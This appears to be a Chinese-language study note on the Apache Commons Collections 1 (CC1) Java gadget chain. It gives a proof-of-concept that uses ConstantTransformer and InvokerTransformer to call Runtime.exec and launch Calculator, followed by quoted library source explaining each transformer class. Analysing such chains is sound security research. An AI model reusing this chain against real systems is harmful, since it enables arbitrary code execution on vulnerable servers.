package CC1; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.util.HashMap; import java.util.Map; publicclassCommonCollections1{ publicstaticvoidmain(String[] args)throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer("exec", new Class[]{String.class}, new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}), }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); outerMap.put("test", "xxxx"); } }
这里涉及到几个接口和类,一个一个看
Transformer
这是个接口,源码也很简单。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
publicinterfaceTransformer{
/** * Transforms the input object (leaving it unchanged) into some output object. * * @param input the object to be transformed, should be left unchanged * @return a transformed object * @throws ClassCastException (runtime) if the input is the wrong class * @throws IllegalArgumentException (runtime) if the input is invalid * @throws FunctorException (runtime) if the transform cannot be completed */ public Object transform(Object input);
publicclassTransformedMap extendsAbstractInputCheckedMapDecorator implementsSerializable{ ...... protectedTransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer){ super(map); this.keyTransformer = keyTransformer; this.valueTransformer = valueTransformer; } /** * Factory method to create a transforming map. * <p> * If there are any elements already in the map being decorated, they * are NOT transformed. * * @param map the map to decorate, must not be null * @param keyTransformer the transformer to use for key conversion, null means no conversion * @param valueTransformer the transformer to use for value conversion, null means no conversion * @throws IllegalArgumentException if map is null */
publicclassConstantTransformerimplementsTransformer, Serializable{ /** * Constructor that performs no validation. * Use <code>getInstance</code> if you want that. * * @param constantToReturn the constant to return each time */ publicConstantTransformer(Object constantToReturn){ super(); iConstant = constantToReturn; }
/** * Transforms the input by ignoring it and returning the stored constant instead. * * @param input the input object which is ignored * @return the stored constant */ public Object transform(Object input){ return iConstant; } }
publicclassChainedTransformerimplementsTransformer, Serializable{ /** * Constructor that performs no validation. * Use <code>getInstance</code> if you want that. * * @param transformers the transformers to chain, not copied, no nulls */ publicChainedTransformer(Transformer[] transformers){ super(); iTransformers = transformers; }
/** * Transforms the input to result via each decorated transformer * * @param object the input object passed to the first transformer * @return the transformed result */ public Object transform(Object object){ for (int i = 0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; } }
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer("exec", new Class[]{String.class}, new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}), };